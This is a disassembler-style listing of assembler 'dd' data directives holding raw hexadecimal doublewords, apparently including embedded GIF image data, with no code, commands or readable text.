		dd 321FE3E8h, 6B0C07FCh, 0E21BC368h, 0DC3A8730h, 0E87B0F21h
		dd 31021FC3h, 221C4288h, 43387D11h, 55A3EA1Ah, 12E028E7h
		dd 1AB8B597h, 528A2E3Ah, 0AB15229Ch, 6222B8C8h,	3C468B31h
		dd 38BB1722h, 51622D43h, 1ABC2289h, 42673B09h, 620B65AFh
		dd 0B616362h, 9D380FFEh, 3EF1BA25h, 1D239C72h, 381DB8EBh
		dd 7A8F31E2h, 0FB1F23DCh, 23FC7E8h, 9C819032h, 690B208Ch
		dd 0D13643C8h, 245C8A8Eh, 0C8E91B23h, 8D91E610h, 0C316AC65h
		dd 0EFBA18D0h, 9A8D90ADh, 3B2724DCh, 824FC9E9h,	1CA29432h
		dd 32D72925h, 0F71AE49h, 5D1C6A85h, 0CAE95B29h,	9632C257h
		dd 2D259CB2h, 0EDCA7939h, 0A28D309Dh, 6AE91F03h, 25FCBE9h
		dd 1CC29833h, 74293126h, 0A82633CBh, 0C1986A00h, 8EB0C40Ch
		dd 1AC35C7Ah, 320648D4h, 680C99AAh, 0DA9B25E0h,	0BB3726DCh
		dd 826FCDE9h, 1CE29C33h, 69CB3927h, 33A273CEh, 275CEA9Dh
		dd 0CEE9DB3Bh, 98B38A77h, 34E514F2h, 0B78DA264h, 581E03D8h
		dd 7619C338h, 70028080h, 30220661h, 0D1B03F4Ch,	0C3406B0Dh
		dd 0E5E8C818h, 0D0EA1B3Ch, 0A2344287h, 3550A512h, 7C93D264h
		dd 3B0E63CCh, 0A1A81E8h, 882B0050h, 0E8EDA060h,	0FE0E3747h
		dd 50C6B12Ah, 5D13A103h, 0E2C12FA9h, 34C297D2h,	299D32A6h
		dd 0D36A6B4Dh, 0A734E29Bh, 3569AD3Ah, 1B862A30h, 807A19Ch
		dd 60160040h, 983F8300h, 0F0DD1F03h, 81C03586h,	0B3DC648Ch
		dd 2A98E0A9h, 0D56AAB55h, 0AB3562ABh, 572ADD5Ah, 0AFD5EABBh
		dd 62AC3582h, 0CB592B1Dh, 0A2B3D66Ah, 5D6AAD35h, 0EADB5B2Bh
		dd 0B5C2B7D6h, 8E9170ABh
		dd 0D4AEA36h, 6F4F870h,	50C33827h, 1D04F077h, 0F61961FCh
		dd 0A8312948h, 64620C99h, 58C41AC3h, 0EB1B632Ch, 3642C7D8h
		dd 2C9D92B2h, 0D96B2B65h, 0B33662CBh, 672CDD9Ah, 0CFD9EB3Bh
		dd 0A2B43682h, 4B692D1Dh, 0A2D3DA6Bh, 58D9B336h, 962433ACh
		dd 808A9FCFh, 34009AFh,	0F31969Eh, 192380B8h, 3C2A8D50h
		dd 0DFDBEB7Bh, 0BFB83702h, 8B712BADh, 22E3DC6Bh, 5DCAB937h
		dd 0EB9B732Eh, 3742E7DCh, 2E10DABAh, 0DD6BAB75h, 3A4802EAh
		dd 3806D0CEh, 0CFEA194h, 0C439878h, 5F01807Bh, 3A05E00Dh
		dd 0F31CD334h, 0E1454BB0h, 5C6B0D62h, 9DF2A763h, 6BEB7D2Fh
		dd 37E2FBDFh, 2FDDFABFh, 5FEBFB7Fh, 0BD97B29Ah,	35AA58D7h
		dd 698D31AAh, 0EB1E6330h, 0FC0CE9F8h, 0DC398039h, 988206E0h
		dd 31AF4147h, 0B80C6A8Dh, 0C6C0D81Bh, 0E1EC3A35h, 0C438830Fh
		dd 89311E22h, 13E26C4Bh, 2AC538A3h, 5B8B315Eh, 0C317E2ECh
		dd 9E32C638h, 6C6B8D31h, 38E31BE3h, 0F11E3AC7h,	61BC3B86h
		dd 1AF86A83h, 3E479976h, 268821DAh, 30E6160h, 0AC168018h
		dd 8C410560h, 0E8F41FA3h, 0DCAA3D47h, 39632B8Fh, 32DE5ACBh
		dd 0E5ECBB97h, 0CC39832Fh, 99331E62h, 33E66CCBh, 6ACD39A3h
		dd 0DB9B335Eh, 0C337E6ECh, 9E72CE39h, 5CDD9D33h, 2087565h
		dd 0C2E0560Bh, 85E01000h, 182136A0h, 3AC770EEh,	798ED1D0h
		dd 8AD123BCh, 1BA3345Eh, 4347E8EDh, 9E92D23Ah, 6D2BA534h
		dd 634BFEE9h, 0DE9AD33Ah, 0ED3BA734h, 3A834FE9h, 351EA2D4h
		dd 0EA6D4BA9h, 0D523B749h, 3CF556AAh, 778E81D0h, 37183AB4h
		dd 0AC19C2A0h, 0F4040040h, 38760C00h, 809A1EC1h, 20EC1D83h
		dd 42683907h, 3B07213h,	0D93B2362h, 0B3365ECAh,	67ECED9Bh
		dd 0D2DA3B43h, 0ABB5369Eh, 636BED6Dh, 0DEDADB3Bh, 0EDBBB736h
		dd 3B836FEDh, 371EE2DCh, 858D9DB9h, 0DCFBA373h,	0DC1D84Dh
		dd 0F04D0D0h, 1B1081A0h, 241803B0h, 68078070h, 0D03A0840h
		dd 0F0661081h, 81082157h, 82A0220Ah, 0F060C1BEh, 0E13C2383h
		dd 0C3385F0Ah, 87F0EE1Bh, 12E23C43h, 2BC5389Fh,	638BF16Eh
		dd 0DF1AE33Ch, 0EE3BC738h, 3C838FF1h, 0B91F22E4h, 6FAE01C4h
		dd 0CE1837Eh, 1D810860h, 0D03A05Ah, 3701E034h, 6809C300h
		dd 0E80D822Eh, 1521A8C0h, 6E720C01h, 3D039FD4h,	3A1F42E8h
		dd 0F46E8BD1h, 0E93D23A3h, 0D33A5F4Ah, 0A7F4EE9Bh, 0EA3D43ECh
		dd 0D53A9F52h, 0ABF56EABh, 5AEB3D63h, 9D13ADFh,	8BA084F3h
		dd 3842DF40h, 70340683h, 0F81D02h, 8030790Ch, 85A0E000h
		dd 0FE1FC39h, 0B0034073h, 2F0680D1h, 760F3DD0h,	0FBDF3BDFh
		dd 3BFF7EEh, 1F82F03Eh,	6F0BE13Ch, 3E23C3F8h, 3C5F8AF1h
		dd 0F8EF1BE3h, 0F23E43C7h, 0E53C9F92h, 0CBF96F2Bh, 0E9DD3E07h
		dd 0BDB03BA6h, 803CF730h, 8700B5Eh, 4C960040h, 0D92C0280h
		dd 37AA00h, 805007EAh, 0F6347A7Fh, 0ED3D9FB2h, 0DBFB6F6Bh
		dd 0BAF73EE3h, 7BEF3DDFh, 3DFFBEFh, 1FC2F83Fh, 6F8BF13Eh
		dd 3F23E3FCh, 3E5FCAF9h, 0FB6F9BF3h, 0F65F40C0h, 0E7FD43h
		dd 1FACF4Eh, 0DA133E90h, 0BBF73EDFh, 83EFFDEFh,	1FE2FC3Fh
		dd 6FCBF93Fh, 3FA3F3FEh, 3F5FEAFDh, 0FEEFDBFBh,	0FE3FC3F7h
		dd 0FD3F9FF2h, 0FBFF6FEBh, 1FCBFE3h, 3B0001h, 38464947h
		dd 11D6137h, 0FCE70118h, 10000h, 9090205h, 6000002h, 403130Ah
		dd 180D0311h, 0A020003h, 22005h, 2F000035h, 0D110003h
		dd 0D100700h, 450E0F14h, 4410003h, 0A004F06h, 1309171Ah
		dd 55E1619h, 10037304h,	1D1A1B1Fh, 1F15211Ch, 231B2320h
		dd 8B080674h, 940300h, 1D173D00h, 861C1A34h, 8820107h
		dd 200A106h, 551E251Ch,	0AC1515h, 0B00AC01h, 0A50C03A4h
		dd 21390004h, 0B624h, 0B72C2628h, 272A0700h, 1A1F4A26h
		dd 34100B92h, 186D2825h, 0C511h, 0C51D2F1Eh, 0CD0700h
		dd 0CF03h, 0CC0400CEh, 1C70C00h, 400CF11h, 51170CA1h, 1D11425h
		dd 100D906h, 0D20A00D8h, 9BD0003h, 7C803h, 0D21A178Bh
		dd 0E41003h, 0CBF00h, 4B170BBDh, 9D42D2Eh, 37382D09h, 3E373636h
		dd 13C03E33h, 190ADF0Fh, 0A70E13CDh, 15C1261Dh,	1E1BB129h
		dd 8E2A2A7Ch, 25962428h, 22259F2Ch, 461D15D8h, 1BD14340h
		dd 43433D19h, 0DC263679h, 4932181Bh, 273E6246h,	5332377Bh
		dd 20D52C45h, 3B3B7423h, 47414554h, 48525048h, 44455D3Ch
		dd 9F2B26D8h, 32BA3938h, 3628DC36h, 0D53B3C99h,	544D2B2Fh
		dd 53525953h, 783332D7h, 3CB94A4Dh, 4B4C9440h, 0D85D5A64h
		dd 61523C3Bh, 4C47AF5Ch, 0DC4338EAh, 6060383Eh,	403FDF60h
		dd 0DC6C6167h, 53AE4543h, 535D8D53h, 834F45E9h,	4BDE5863h
		dd 6564854Eh, 0DC52668Dh, 73584F51h, 6E6F7088h,	6A897260h
		dd 6F7B6E73h, 64756B6Dh, 0A35955E0h, 5BCA6A66h,	585DC968h
		dd 5F5A5CCFh, 5ADD8F7Ah, 6868B959h, 0E16969C5h,	836C6563h
		dd 7F807F93h, 6CB8913Eh, 70E59C87h, 716EEC71h, 899D8D76h
		dd 7BCB888Bh, 0FF944E79h, 907776E4h, 7AE08E8Fh,	0FD985679h
		dd 79A7967Fh, 0A06AC596h, 0FD9E62B8h, 988483E7h, 9C8F979Ah
		dd 858ECBAAh, 0A0FFA56Dh, 90EA9FA2h, 0A4A7A591h, 7B9697EAh
		dd 0AB9FFEAEh, 0A1A1ECB8h, 0E8FFB886h, 0ADD9A4A6h, 0B3B7B5A7h
		dd 0B9FFC17Fh, 0ADF0B8BBh, 0FFC096ABh, 0FAB5B3F0h, 0C7A5ADB6h
		dd 0C6C6C3FFh, 0F2C5C3D5h, 0CEB1BCBCh, 0C1C4F3FFh, 0F3FCD6B3h
		dd 0D7D5CDCBh, 0FFD8C4D4h, 0F7E1D9D0h, 0DACBD2D1h, 0D2D5ECFCh
		dd 0D4FDDEC2h, 0D4FAE5DCh, 0D8D9F8D5h, 0DFE3E1DBh, 0E4D6DEE1h
		dd 0EAE2D9DEh, 0E2FFE6CAh, 0E3E5E1E4h, 0E2E3E8E7h, 0E0FAE6D6h
		dd 0E2E9E7E5h, 0EEE4E3EEh, 0DAEFE6DEh, 0E6E4F5E7h, 0DEE1F8E3h
		dd 0E5DDE8E2h, 0E7E2E4E7h, 0D9E4F7F7h, 0EEE5E8E6h, 0EAE5D9E7h
		dd 0E0E8F0ECh, 0E3E8E6FBh, 0F2D4F4ECh, 0EAEDEBEFh, 0E6EBEAF6h
		dd 0EFEAF8EFh, 0F3F0EBF1h, 0F3E7EEF7h, 0EFFCE8F2h, 0F0F3F1F0h
		dd 0EFFCF4EBh, 0F7F2F7F4h, 0F4F5FBFAh, 0FCF0FFE8h, 0FCF6F2FBh
		dd 0F9FAFFFEh, 0F0F8FCF9h, 0FFF5FFFFh, 0FFFCFEFAh, 0FCFFFEF9h
		dd 0FFFEFBFEh, 2CFCh, 11D0000h,	8000118h, 80100FEh, 0A0B0481Ch
		dd 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h,	8BC5A2B1h
		dd 90FC7F0Ah, 8EE3B1C1h, 8A43208Fh, 0A4B2491Ch,	532893C9h
		dd 0B2C95CAAh, 3097CBA5h, 58FCCA63h, 1EC886A3h,	6CE27338h
		dd 8EE7B359h, 0A864309Ah, 651D810h, 93489E8Ch, 0B4CA5D2Ah
		dd 50A7D3A9h, 4A9D4AA3h, 0ABD5AAB5h, 0F52EB358h, 0D707D351h
		dd 88603E1Ah, 0AAB62B1Dh, 895EB3D7h, 0B02100C8h, 70B2526Ch
		dd 4B9DCAE3h, 0BBDDAEB7h, 0DDEAF378h, 0DFAFB7CBh, 0A8B77BFh
		dd 86C32C1Eh, 6D1CC361h, 0F85C5E10h, 331AE3B0h,	0CA38EE92h
		dd 0AD51C016h, 0DE6B3398h, 0E7B3B9CCh, 0CC674CCFh, 3279EB70h
		dd 7B02128Ch, 0BA0AF8D2h, 0B0D7EBB5h, 1D6ECB63h, 0D486F4D9h
		dd 0DEEB73B3h, 5637BBCDh, 3381C0D1h, 36E3D1F5h,	93C8DF00h
		dd 15DE5F2Bh, 91B1D9EDh, 0EE18D2BDh, 0E75CEBDCh, 310ACA35h
		dd 6474749Eh, 0FEC3E0E6h, 0FD0CF78Bh, 249AE8F5h, 0CF5F8F70h
		dd 0B3D47DBEh, 8F2B948h, 5888963Bh, 64796019h, 0BB35EA3Fh
		dd 0F4339FCFh, 2365DDD7h, 81DEE7A8h, 5AC7B208h,	0C68C340Dh
		dd 0D5E581Fh, 470F2121h, 7E83E589h, 0C3E7C217h,	374D5D77h
		dd 1E054D60h, 0BE1E94A7h, 394F83BCh, 609194B7h,	0F8B4FF52h
		dd 30F43E0Fh, 24560973h, 5323556Ah
		dd 8F889472h, 0F4F48F30h, 0BCEF2E45h, 3E17CB93h, 91242902h
		dd 0C01C935h, 22B4E93Dh, 5A2D5544h, 0F4552375h,	589E77F1h
		dd 9F310C3Ch, 30C9414Dh, 0E19311C3h, 30759F37h,	50197834h
		dd 43579D4Ah, 0E23D4A88h, 0A8EF8BA2h, 6F4D62B8h, 55A339BEh
		dd 0A7956651h, 53E07252h, 83524A7h, 0E59BCE51h,	0A128293Ch
		dd 0E6F9F64Fh, 83FE5032h, 3966A3A7h, 107ED608h,	140370CEh
		dd 0C7C1C069h, 0DA747EA6h, 14241045h, 347CDFB6h, 99E1C0C0h
		dd 66C9A93Dh, 0D3FCDC52h, 65FE910Ah, 2E4FF2F8h,	6909D273h
		dd 0F2AC570Dh, 0ED57370Fh, 49ADEBD9h, 15CB0AC9h, 0FF29442h
		dd 0F2743533h, 5C572F8Fh, 0C9276B21h, 0B3ECDB2Eh, 8ABAC835h
		dd 0F2E45710h, 0F9529DCFh, 56B02DDAh, 85E1E0D1h, 87013942h
		dd 6210871Fh, 0B2EC1CC8h, 6E1B0711h, 1485D1B8h,	0E0251850h
		dd 581AAA53h, 0B4FF3D13h, 0EF3FE3E1h, 3187AAD8h, 47F32CF8h
		dd 8C04F8A0h, 0FCEF8994h, 0C730A723h, 0C445F4D6h, 4E52AC35h
		dd 615CB9C2h, 0D0E5226Bh, 7F0D6B43h, 318F832Ch,	0ABE52F07h
		dd 0DC6E2F10h, 0E46AC7F1h, 0B691CF42h, 0C853D8BAh, 0D35C9723h
		dd 12AE27C0h, 35B7B3h, 74C68EF3h, 3FF3D3E2h, 0FF92472h
		dd 5D174330h, 0D7471C83h, 0B893EFC0h, 0C594CB2Eh, 27BD0318h
		dd 0D4F724CDh, 0D71EC722h, 3E745549h, 0A138878h, 48A1D054h
		dd 0B1DC79BAh, 584A1586h, 6E160581h, 18C5B16Fh,	240E451h
		dd 46861E6Bh, 35BEFEA0h, 2DCF8B68h, 0FFD6B36h, 53E22DBFh
		dd 0FF2DF4h, 0FF24935Ah, 0E24AD2C0h, 2448B751h,	0F0D4ADE3h
		dd 0D8BE9BF8h, 8AD4A7EAh, 8B34AE16h, 0FFAE6B7h,	0DE1435A3h
		dd 345FE662h, 1A3A62ECh, 0E6F4BD7Bh, 79DD2A2Fh,	0FE949F8Bh
		dd 234C53E6h, 503FCE9Bh, 0D4E5CA3h, 0CFFEF7BBh,	84D74FEFh
		dd 5D4B3A72h, 0B6E662EEh, 0E1BB0927h, 0BAEE9F9Ah, 0B19C3256h
		dd 0A8872007h, 2B12048Dh, 5C17058h, 42BF8416h, 61244A0Ah
		dd 0DC2F0B04h, 654FE5E0h, 0BE53582Dh, 85752222h, 2ABE7031h
		dd 0CED9C678h, 0FF1E835Ah, 0FD13D318h, 3FC44872h, 4B835164h
		dd 0B25A08B8h, 6A2247F8h, 0B605B0D0h, 62B67061h, 84541096h
		dd 420A05B8h, 93A94A7Fh, 3B647A8Bh, 1608AA09h, 0E35672D2h
		dd 0A94856Ch, 1F82E0D6h, 842C16D3h, 35644170h, 685729EFh
		dd 84FCB415h, 50D19494h, 0D613426Bh, 38F09A15h,	81A529A1h
		dd 207835FEh, 358483Dh,	8230A213h, 0CF1152C4h, 0B01632A2h
		dd 810A864Ch, 0C41DC4A0h, 9C188480h, 0D87C0B80h, 0B1222443h
		dd 81483487h, 0C0901105h, 82B05205h, 5408818h, 961F6032h
		dd 0F8B7B4D2h, 2E112525h, 943D116Bh, 0FD893926h, 68357903h
		dd 0D7F61E95h, 0E1541ABFh, 5FEAD544h, 3BD62ED3h, 7E82AC41h
		dd 0BF916A90h, 423BB27Ah, 945CC99h, 14CD85F3h, 21419489h
		dd 7BBF6269h, 0E91A4D61h, 0AEEE4CA2h, 97041909h, 2AD0CA52h
		dd 86E0D602h, 0B0253B41h, 393B3652h, 87858532h,	389E53CCh
		dd 524CA2D9h, 0FB5F7052h, 7076594Eh, 62214C83h,	80E0580Eh
		dd 8900DC11h, 12425C4Fh, 224494C8h, 3307B11Ah, 0D0220E8h
		dd 4E084090h, 0D4168130h, 4AF74C60h, 0E3D265D5h, 2108A546h
		dd 612B211h, 83595311h,	5B4FE84Fh, 3E20038Ah, 7586D1F0h
		dd 0FB7FCD32h, 6CCC9D53h, 0C09AB507h, 0FE8F70AEh, 0EA8B4A6Ch
		dd 0FA1ACAA9h, 4CF757D0h, 0E9433F59h, 0EEC3694h, 9DE48C16h
		dd 3C0786F1h, 0A18A0685h, 3D05F34Bh, 7789218Ch,	7A293264h
		dd 212CA790h, 3A7FD015h, 19519C74h, 0E060710Dh,	1382595h
		dd 8240735Dh, 8900C00Bh, 13026052h, 1F43C082h, 390760F0h
		dd 7D0FA1D4h, 1E144378h, 46310020h, 0D8230260h,	0A6F20F12h
		dd 6DF1104Dh, 0A87A7250h, 0C984E547h, 9D615C9Ah, 0D418487Ah
		dd 0A68C0574h, 3AAAB555h, 1A3301ABh, 25898977h,	0E30D5C12h
		dd 0E2993E67h, 0D1DA4B2Dh, 0AB0AC096h, 0B4077652h, 27B28A1Ah
		dd 2958686Dh, 0D9555290h, 46689559h, 0CA525A43h, 6CA4C180h
		dd 0DD5D1615h, 0AD44D68h, 454EC2BAh, 1E03C34h, 393F410h
		dd 0D622038h, 1B813849h, 47897136h, 6D0F41FCh, 9A12D668h
		dd 942F8555h, 70680DA1h, 0C00C03C2h, 20240100h,	0FD82A03h
		dd 46D7DEAAh, 185080A5h, 9DFE12FEh, 2C474F0Bh, 27A2DDC4h
		dd 0E5586ADAh, 387F26Ah, 2545D016h, 841C93F3h, 26AFACA0h
		dd 0D8AB5B45h, 67490081h, 4F6B1D8h, 0D6D3F884h,	0AC44FD6Eh
		dd 6B7209Ah, 3FEEB5CBh,	5E417B92h, 49BAB2A9h, 0B8A0C2B9h
		dd 32731355h, 32D0844Bh, 1FEB4EFh, 0E8F525ADh, 5C52B20Bh
		dd 5C4B8452h, 0BB6DF6C1h, 481D1DD8h, 0A7D62BBFh, 3E2B80ECh
		dd 1A4228h, 482B0731h, 109D1236h, 0B0CA1D84h, 40A81443h
		dd 82383005h, 61409610h, 821A026h, 1400010h, 0D80A018h
		dd 0DD27E7ECh, 90AACEF9h, 0E13ABA92h, 22B61043h, 79168BDCh
		dd 0A1A91742h, 1CD84227h, 3850AE91h, 4E0AC9A8h,	0B79220FFh
		dd 0E6C1C95Ah, 65291412h, 803968D0h, 0B60C2AD6h, 7BAF8172h
		dd 0D8F35CD3h, 45218FA2h, 0D40C1A57h, 0A8693AA0h, 49F2D729h
		dd 531CC2C6h, 86A2DC6Eh, 475218E9h, 9D916FDEh, 38FEC4CCh
		dd 0C0770DC1h, 234AFEC2h, 9436D301h, 0D91A0641h, 109C14C0h
		dd 0A0FC11AAh, 82383B09h, 82D08A16h, 601405h, 0BD809807h
		dd 6ED46342h, 17164C4Ah, 0F62F877Bh, 10392B68h,	0EE8C18CCh
		dd 0DAF4A0C9h, 1732AA93h, 0D6CE9462h, 57C15ACBh, 104CF284h
		dd 7C86E304h, 1AEA4C7Dh, 0B765ECB4h, 2F761240h,	8613BCC6h
		dd 207FD47Ah, 0BAB23958h, 5AB47C6Ah, 0D4841AD2h, 0EF16E17h
		dd 0D77AA98Fh, 4F521EBDh, 6E31714Ah, 9A29792Ch,	47A7077Eh
		dd 0E35027B8h, 44B8D443h, 4D6CC70Ah, 0A0F29215h, 24B6A97h
		dd 8980F60Bh, 0AE1A83Fh, 1D0B5942h, 1009F482h, 200600FCh
		dd 261550B9h, 28020h, 0B01A0100h, 0C4D286C9h, 0AB7F1195h
		dd 0D8686A29h, 0EFC56BA8h, 8D25237Eh, 1B81283Eh, 30015A52h
		dd 55DBC274h, 8C0F41B0h, 0E8480202h, 0B21F43h, 207664C1h
		dd 60F0F983h, 80303F07h, 81300986h, 5274901Bh, 0DF37A949h
		dd 44B29EFEh, 0DFD441DBh, 51B7F728h, 31854060h,	1D05C16Ch
		dd 0F0224458h, 0C82105F0h, 183007A0h, 31F9C341h, 0AA981040h
		dd 90083B07h, 2F07658h,	0A00C01h, 0FC0D00Ah, 9114A2BAh
		dd 6FE49A1Bh, 588EE065h, 0B3AAF29Ch, 81683567h,	40A7C5C1h
		dd 40602D86h, 43F88C07h, 96109A1Bh, 4C0A09Ah, 3F07D87Bh
		dd 0FC026166h, 1B3FE6ACh, 0C014038h, 9CB771C0h,	6A015C45h
		dd 2967702h, 0FDFBBE98h, 0BC0F80EFh, 17FF07E0h,	0EB447CC9h
		dd 1842E83Ch, 2C818090h, 6A0F423Ch, 60778268h, 0EC1182A0h
		dd 40F71E81h, 128C08C5h, 20CD05A0h, 100301h, 4201E01h
		dd 0E2E4841Fh, 5AC1F740h, 0B09D3204h, 56402831h, 9FECBD8Fh
		dd 0D4220302h, 40580BC0h, 0D20142h, 0A1002BF9h,	8119422Ch
		dd 89062E19h, 9B2A9BCDh, 0C0783Ch, 4807000h, 0A22C8108h
		dd 500F8B19h, 0CCA46F60h, 0CFD8FAE4h, 0FEB7F6BEh, 0A7EEFDCFh
		dd 2AF739A4h, 90AC18CCh, 0A1980682h, 0D8D05F0Eh, 26285D0h
		dd 1F032027h, 0E77E307Bh, 7043B55h, 0AF96004h, 0D057C150h
		dd 0BCA93D2h, 101A0724h, 1A01E80h, 1E01A02Dh, 98088070h
		dd 80B80A80h, 0E80D80Ch, 181080F8h, 81381281h, 16815814h
		dd 98188178h, 80180B81h, 1F81D81Ch, 0E02E0530h,	301802h
		dd 577E806Fh, 0A16120E0h
		dd 3902602h, 6F0ED0BDh,	0D79C0280h, 3C1651Fh, 10017F6h
		dd 30410040h, 1B01A80h,	1F80381Dh, 410201E0h, 0EE0ED0Eh
		dd 0EE0F60E2h, 90ED8420h, 84B84A84h, 4E84D84Ch,	185084F8h
		dd 85385285h, 56855854h, 98588578h, 85B85A85h, 0E20DC856h
		dd 90490730h, 6700002h,	247E9068h, 51F30335h, 0B302579h
		dd 280390F6h, 0B15F3ED0h, 0A73803h, 49746002h, 90EE85E0h
		dd 87987A87h, 0E00E20EDh, 30D31020h, 0E30E30Dh,	810D60D6h
		dd 88FE0D78h, 0B88A8898h, 88D88C88h, 9088F88Eh,	38928918h
		dd 89589489h, 98897896h, 0C89A8998h, 89D0D888h,	0D60D889Eh
		dd 0D0E80DB0h, 46406B0Dh, 5F054000h, 0D2F60550h, 2802A1Fh
		dd 390EE86Bh, 0C72179C0h, 0A03203h, 1002001h, 30E70620h
		dd 88889D0Dh, 0CE0D489Fh, 18800B60h, 0E30D688h,	0DB0D3881h
		dd 0B8CA8C90h, 8CD8CC8Ch, 0D08CF8CEh, 38D28D18h, 8D58D48Dh
		dd 0D88D78D6h, 0B8DA8D98h, 0D48CD8Dh, 0C90D48DEh, 30E10E18h
		dd 0CF0D60Dh, 1502B084h, 701F0070h, 14605A05h, 0AD1D9717h
		dd 90ED86B8h, 14971403h, 39589034h, 0D00467F0h,	0CE07700h
		dd 0DE8DF0DBh, 70D28E28h, 8C20D20Dh, 0E1902000h, 90CE0DB0h
		dd 90D8E290h, 1090F90Eh, 39129119h, 91591491h, 18917916h
		dd 0B91A9199h, 91D91C91h, 0CD91991Eh, 0E0E80CE0h, 0D01509h
		dd 4F004004h, 40350430h, 1625FF04h, 2402803Fh, 9206FEF0h
		dd 21F80200h, 46915E03h, 8019216h, 80030030h, 0D309E01h
		dd 0B90A0DEh, 58CA8E29h, 0C310290h, 0E80D20D2h,	194C0CE0h
		dd 94F9490Eh, 52951950h, 59549539h, 95795695h, 5A959958h
		dd 0D95C95B9h, 95F95E95h, 0D395B960h, 0B0B48E20h, 0D01202h
		dd 3D01F002h, 0C04403E0h, 4052415h, 53025032h, 38B10660h
		dd 14724F03h, 1302825Bh, 0C93C0040h, 8C80B406h,	0E10DB902h
		dd 69440E80h, 0D200094h, 0AC0CE983h, 0D09A0AA0h, 98F98E98h
		dd 92991990h, 59949939h, 99799699h, 9A999998h, 0D99C99B9h
		dd 99F99E99h, 8D09E99Bh, 4809E9h, 68100C00h, 241F302Ah
		dd 403021B5h, 0EF08B02h, 3E0AD0EDh, 77D20367h, 901F71h
		dd 6B7CB00Dh, 409409E0h, 0A698E09h, 0B0C30ACh, 19860DB9h
		dd 0D20CE0Eh, 0F90F098Ah, 0D9CC6B90h, 9CF9CE9Ch, 0D29D19D0h
		dd 59D49D39h, 9D79D69Dh, 0D69D99D8h, 0AA0F09FEh, 60009A70h
		dd 3D01900h, 3D03092Ah,	9AD04C0h, 0F50FB09h, 300390B2h
		dd 920103F0h, 5A38B458h, 0E402B7F7h, 80FC0FF0h,	22D9CB0Fh
		dd 450E80E8h, 89C69069h, 0AA0D20Eh, 49DA9F9h, 7A06A05Ah
		dd 0A09A08A0h, 0F99D8A0Ah, 60D40FC9h, 187505h, 46268749h
		dd 0A0670281h, 920BA0Bh, 171A6028h, 0F0200362h,	387501h
		dd 0F609E001h, 0F0F70FB0h, 0C30F926h, 0C58C994Eh, 60CE94C9h
		dd 0A31A0B0Ah, 34A33A32h, 8A34A35Ah, 0FC0FC0Fh,	0B79680A6h
		dd 0B01B00E8h, 4D16258h, 45028032h, 602A0450h, 3C14003h
		dd 0E02503Dh, 310200A0h, 0E905600h, 0FB0FFA25h,	90F90FF0h
		dd 0B60E10Fh, 69C490Dh,	0A0E19439h, 0A36A560Ah,	64A63A62h
		dd 0BA35A65Ah, 0FC4EB9Ch, 0CC0840F0h, 0F0000077h, 3602400h
		dd 3311C74Bh, 111B11C0h, 450471Dh, 0B8006014h, 0D0160008h
		dd 0A3927E0Bh, 0FE22DA55h, 5B0B40E1h, 0B943986Ah, 0A66A600Dh
		dd 8EA8DA8Ch, 89CFA8FAh, 22DA38A3h, 0B80580D6h,	36EF0018h
		dd 21703901h, 431679F0h, 0E03F03D0h, 71A00A01h,	0A6012A22h
		dd 0C0F99F70h, 9CB3AA0Fh, 9984A85h, 99889869h, 0A90A8B8Ch
		dd 0B6AB5AB4h, 9A03A62Ah, 610CE0Fh, 0EF7CC002h,	0F0140106h
		dd 46802401h, 3904511Ch, 30100190h, 0CA7DAAh, 280F009Ah
		dd 5AAD26FAh, 0AB190698h, 0D6AB7A8Ah, 6AD8AD7Ah, 0F99F9A0h
		dd 3C0710BDh, 0B875A6E9h, 900A00h, 0FAE500Eh, 40080080h
		dd 83610200h, 0CE0A6015h, 322DA57Ah, 0AD10FFA0h, 9AD3AAFh
		dd 9AD9AD59h, 0AFBAFAAFh, 0A99CB9CDh, 609A0E3Ah, 7CC83601h
		dd 2ABD7A1h, 0EA6E0021h, 71001ABh, 0CE22D0B4h, 4AF222EAh
		dd 102A5CAFh, 0FCAB3AD4h, 9B18B17Ah, 0FD9CBADh,	790BC0EBh
		dd 40050050h, 8366ED00h, 2493C7F7h, 709E049Bh, 0AB97980Dh
		dd 0B1FE241Ah, 16AF7AB0h, 3B32B19Bh, 0EFA8FB3h,	0BC0FAAA8h
		dd 10490940h, 836A6E02h, 2B00DABDh, 0F0AA06B0h,	0F7A550Ch
		dd 0F1AFE0FDh, 6B2E275Ah, 0B34AB2AFh, 32B4FB4Eh, 0BB49AF2Ah
		dd 0FB22D4Eh, 9A0B40F0h, 83E25900h, 0A608405h, 45A250C3h
		dd 0BB5241ABh, 0B30B14B4h, 68B67B50h, 60FDA31Bh, 0A382FCA5h
		dd 0FD0FD0FCh, 0FAF00FC0h, 0F44EB70h, 49A2773Ch, 7B649CCBh
		dd 0B69B6698h, 0D9B7FB7Eh, 5B460FC9h, 0B700F9A5h, 8139B73Ch
		dd 90F70FDAh, 0ACF73CA3h, 15B7B6B9h, 3B92B80Bh,	0B90AB5B9h
		dd 94B3190Ch, 4B9AB99Bh, 982B96A3h, 9BB52A8Bh, 0ABA2BA1Bh
		dd 0A5FB9D9Dh, 0A8BA7BA3h, 8B9D9D9Bh, 0BADBA9AFh, 969CEBAEh
		dd 0FBAC0D2Bh, 0BB5BB4BAh, 0B5B98BABh, 5BA7BB9Bh, 0BBABB8BAh
		dd 0B1B9ABBEh, 3BBFBB3Bh, 0BB7B99BCh, 0C5BC7BC4h, 3AAE0B4Bh
		dd 0B4DB7CB1h, 7FBCFBC8h, 29D3BBCBh, 0FF10h, 0BD42FE2Eh
		dd 0D6BD5105h, 9BD7BD4Bh, 0BDDBD9BDh, 622DBD6h,	7BE0BDA1h
		dd 41ABDDBDh, 0E0BE7103h, 2104BD8Bh, 0BD0BDFBEh, 0D2BD2A8Fh
		dd 4BEEBEC9h, 0BDCBE7BEh, 0DCBF826Fh, 5BF8BFABh, 0BF4BFEBFh
		dd 0EEBFDBF6h, 0EBF6BE1Bh, 0C04BFFBFh, 8DBF0C02h, 0BBF3BC6Ah
		dd 0BFDBF4BDh, 8BF9C00h, 5BFABE1Ch, 0BFC275BDh,	0EBECC05h
		dd 6C16BE8Ch, 0C01C05C0h, 0B4C0AC13h, 0A9D1C0CAh, 0BEDBE4C1h
		dd 0EAC04C27h, 0BF5C20Bh, 0C18C21C1h, 0C02BE9h,	4BFBC2ECh
		dd 0C22C21C1h, 0D2BCABF1h, 0DBB2B65Ah, 0C0F6B9BBh, 0E8C29C11h
		dd 0DBE9C13Bh, 0C30C2AC2h, 2AC0EC2Fh, 4C1FC42Ch, 0C38C2EC3h
